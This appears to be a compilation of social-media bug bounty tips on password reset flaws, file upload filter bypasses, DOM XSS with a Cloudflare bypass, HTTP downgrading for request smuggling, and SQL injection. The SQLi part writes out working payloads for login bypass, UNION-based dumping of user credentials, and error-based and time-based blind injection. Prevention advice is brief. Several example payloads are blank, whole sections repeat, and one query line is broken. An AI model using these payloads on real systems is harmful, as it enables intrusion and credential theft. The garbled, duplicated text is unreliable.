🚨 Bug Bounty Tip: Test for Password Reset Vulnerabilities! 🚨
A weak password reset flow can lead to account takeover – a serious security risk! 🔥
✅ What to Check?
🔹 Token Guessing → Is the reset token predictable or reusable? Attackers can exploit weak tokens to reset passwords easily!
🔹 Email/Phone Enumeration → Does the system confirm if an account exists? Exposing this info can help attackers target specific users!
🔹 Rate Limiting & Brute Force Protection → Can an attacker brute-force reset requests without restrictions?
🔹 Lack of Multi-Factor Authentication (MFA) → Is there an extra layer of security after resetting a password?
🛡️ Always ensure strong reset mechanisms to prevent unauthorized access!

🚀 Bypassing File Upload Restrictions: Exploiting Extension Blacklists Like a Pro! 🔥
🛠 Bypassing File Extension Exclusion Lists in Web Applications
Many web applications implement security measures that block the upload of potentially dangerous file types, such as .php or .jsp. However, attackers and penetration testers often find ways to bypass these restrictions by using alternative file extensions or exploiting misconfigurations in the system.
🧐 Why Does This Work?
- Incomplete Blacklists – Some web applications only block .php but forget other PHP-related extensions like .phtml or .php7.
- MIME Type Validation Issues – Some applications only check the MIME type, which can be spoofed.
- Misconfigured Web Servers – Web servers like Apache and Nginx may still execute certain alternate file extensions as code.
- Double Extensions – Some apps fail to properly filter filenames like shell.php.jpg, which may still execute if uploaded and accessed a certain way.
🔥 Extension Variations for Different Technologies
🔹 PHP File Extensions (For Bypassing PHP Filters)
✔️
✔️
✔️
✔️
🔹 ASP.NET File Extensions (For Windows/IIS Servers)
✔️
✔️
✔️
🔹 Java File Extensions (For JSP-based Servers)

✔️
🔹 Other Extensions to Try

✔️
🛠 Exploit Techniques
🔹 Case Sensitivity – Some filters only block .php but allow .PHP
🔹 Double Extensions – shell.php.jpg might bypass restrictions but still execute if accessed in a certain way
🔹 Null Byte Injection – Some applications fail to properly handle %00, allowing uploads like shell.php%00.jpg
🔹 MIME Spoofing – Changing the Content-Type to image/jpeg might allow execution if validated poorly
💡 Practical Example
Let’s say an upload filter blocks .php, but the server still executes .phtml. You could try renaming your payload:
🚀 Original file:
🔄 Bypassed file:
If the web server processes
⚠️ How to Protect Against This?
✅ Use a whitelist approach (only allow specific safe extensions like .jpg, .png, etc.)
✅ Check both extension and MIME type (don’t rely on one method alone)
✅ Deny execution in upload directories (configure web server rules to prevent execution)
✅ Sanitize filenames properly (remove special characters and prevent double extensions)

🚨 Bug Bounty Tip: DOM-Based XSS + Cloudflare Bypass! 🚨
🔥 DOM-based XSS vulnerabilities allow attackers to inject malicious scripts that run in the client’s browser. Here’s how you can exploit it while bypassing Cloudflare defenses!
🔹 Payload Example:
💡 What this does:
• Triggers XSS: It uses an onerror event handler to execute malicious JavaScript.
• Bypass Cloudflare: By encoding the payload and using JavaScript: URIs, this avoids some of the standard web application firewalls (WAFs) and Cloudflare protections.
🔹 Steps to Test:
1️⃣ Intercept the request using Burp Suite or Browser Dev Tools.
2️⃣ Inject the payload in fields that allow input (e.g., URL params, search fields, or forms).
3️⃣ Trigger the script: Look for any reflection of the payload in the response.
🔍 Why this works:
• Cloudflare bypass: Encoded JavaScript payloads may evade basic firewall rules.
• DOM XSS: The payload is executed in the browser, reflecting a malicious script injected into dynamic elements (JavaScript-based).
💡 Pro Tip:
• Try URL encoding or base64 encoding to bypass more sophisticated filters.

🚨 Bug Bounty Tip: HTTP Downgrading Attack! 🚨
🔍 What is HTTP Downgrading?
• HTTP/2 is now the standard for most modern web applications, but many backend servers still use HTTP/1.1. This mismatch between frontend and backend can lead to parsing issues and open doors to certain attacks.
HTTP Downgrading is the process of forcing a request to be processed under HTTP/1.1 instead of HTTP/2. Why?
⚡ Why Use HTTP Downgrading?
• Exploit HTTP/1.1 parsing vulnerabilities, such as Content-Length Transfer-Encoding (CL.TE) attacks.
• This allows you to manipulate how the frontend and backend servers interpret requests, often bypassing security checks!
💡 How Does It Work?
1️⃣ Open Burp Suite and go to Proxy → HTTP History.
2️⃣ Locate the request that is currently using HTTP/2.
3️⃣ Send it to Repeater.
4️⃣ In the Repeater tab, open the Inspector panel → Request Attributes → Protocol.
5️⃣ Change the HTTP version to HTTP/1.1.
6️⃣ Click “Send” in Repeater.
✅ If successful, you should get a valid response confirming that the backend server accepts HTTP/1.1!
⸻
💥 Pro Tip: Once the request is downgraded, try exploiting CL.TE vulnerabilities for advanced attacks like Response Splitting or Request Smuggling.
⚠️ For educational purposes only. Always test ethically! ⚠️

🔍 What is HTTP Downgrading?
• HTTP/2 is now the standard for most modern web applications, but many backend servers still use HTTP/1.1. This mismatch between frontend and backend can lead to parsing issues and open doors to certain attacks.
HTTP Downgrading is the process of forcing a request to be processed under HTTP/1.1 instead of HTTP/2. Why?

🔍 Bug Bounty Tip: Master SQL Injection (SQLi) Attacks!
SQL Injection allows attackers to manipulate databases, bypass authentication, and extract sensitive data! 🚨
✅ How to Identify SQL Injection?
✅ Look for user input fields that interact with the database:
• Login forms
• Search bars
• URL parameters (id=1, product=10)
• Cookies
• Headers (User-Agent, Referer)
✅ Inject a simple payload to check for errors:
If the app logs in without a valid username/password, it’s vulnerable! 🎯
🔥 Exploitation Techniques
1️⃣ Authentication Bypass
🔹 Bypass login using SQLi:
🔹 Test for comment-based injections:
2️⃣ Extracting Database Information
🔹 Find the number of columns:
🔹 Find database version:
🔹 Find database name:
🔹 Find available tables (MySQL):
🔹 Find available columns in a table:
3️⃣ Extracting Credentials
🔹 Dump user credentials (MySQL example):
🔹 If passwords are hashed (MD5, SHA-1, etc.), crack them using hashcat or online tools.
4️⃣ Error-Based SQL Injection
Sometimes, error messages leak database information:
If an error appears, it confirms SQL Injection is possible! 🎯
5️⃣ Blind SQL Injection (Boolean-Based & Time-Based)
When no errors appear, test using time delays:
If the response is delayed, the database executes SQL Injection successfully!
🛡️ Preventing SQL Injection
⚠️ Developers should use parameterized queries (prepared statements) to avoid SQL Injection vulnerabilities.
Example (Safe Query in Python):

• Login forms
• Search bars
• URL parameters (id=1, product=10)
• Cookies
• Headers (User-Agent, Referer)
✅ Inject a simple payload to check for errors:
' OR '1'='1
If the app logs in without a valid username/password, it’s vulnerable! 🎯
🔥 Exploitation Techniques
1️⃣ Authentication Bypass
🔹 Bypass login using SQLi:
admin' --
' OR '1'='1' --
" OR "1"="1" --
' OR 1=1#
🔹 Test for comment-based injections:
' OR 1=1--
' OR 1=1#
' OR 1=1/*
2️⃣ Extracting Database Information
🔹 Find the number of columns:
ORDER BY 1--
ORDER BY 2--
ORDER BY 3-- (Increase number until error occurs)
🔹 Find database version:
' UNION SELECT NULL, @@version--
🔹 Find database name:
' UNION SELECT NULL, database()--
🔹 Find available tables (MySQL):
Stable_schema=database()--
🔹 Find available columns in a table:
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
3️⃣ Extracting Credentials
🔹 Dump user credentials (MySQL example):
' UNION SELECT username, password FROM users--
🔹 If passwords are hashed (MD5, SHA-1, etc.), crack them using hashcat or online tools.
4️⃣ Error-Based SQL Injection
Sometimes, error messages leak database information:
' AND 1=CONVERT(int, @@version)--
If an error appears, it confirms SQL Injection is possible! 🎯
5️⃣ Blind SQL Injection (Boolean-Based & Time-Based)
When no errors appear, test using time delays:
' OR IF(1=1, SLEEP(5), 0)--
If the response is delayed, the database executes SQL Injection successfully!
🛡️ Preventing SQL Injection
⚠️ Developers should use parameterized queries (prepared statements) to avoid SQL Injection vulnerabilities.
Example (Safe Query in Python):
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))💥 SQL Injection can lead to full database dumps, password leaks, and account takeovers! Always test responsibly and report vulnerabilities ethically! ⚠️
